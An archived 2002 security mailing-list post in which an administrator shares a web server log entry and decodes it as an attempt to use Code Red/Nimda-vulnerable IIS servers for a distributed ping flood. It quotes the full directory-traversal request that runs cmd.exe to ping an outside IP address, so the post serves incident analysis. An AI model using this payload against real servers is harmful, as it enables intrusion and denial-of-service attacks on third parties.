Exerpt from webserver logs: /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ping%20-n%20666%20-l%2065500%20-w%200%2065.168.118.157 200 Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0) We had several of these appear in the logs. Decyphering the command that was attempted, it looks like: ping -n 666 -l 65000 -w 0 It looks like someone's attempting to take advantage of code red / nimda infected (or vulnerable) servers to use as a Distributed DoS. Quite clever. All one would have to do is sit and accumulate a list of machines that have attempted to probe you for CR/CRv2/Nimda etc... Scripting an attack like this would be quite simple. However, the machines that were probed here, were not infected or vulnerable. Keith T. Morgan - CISSP, CCSE/CCSA, MCP Terradon Communications Group Office: 304.755.1324 x142 Mobile: 304.415.0238 ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Wed Oct 02 2002 - 11:29:28 PDT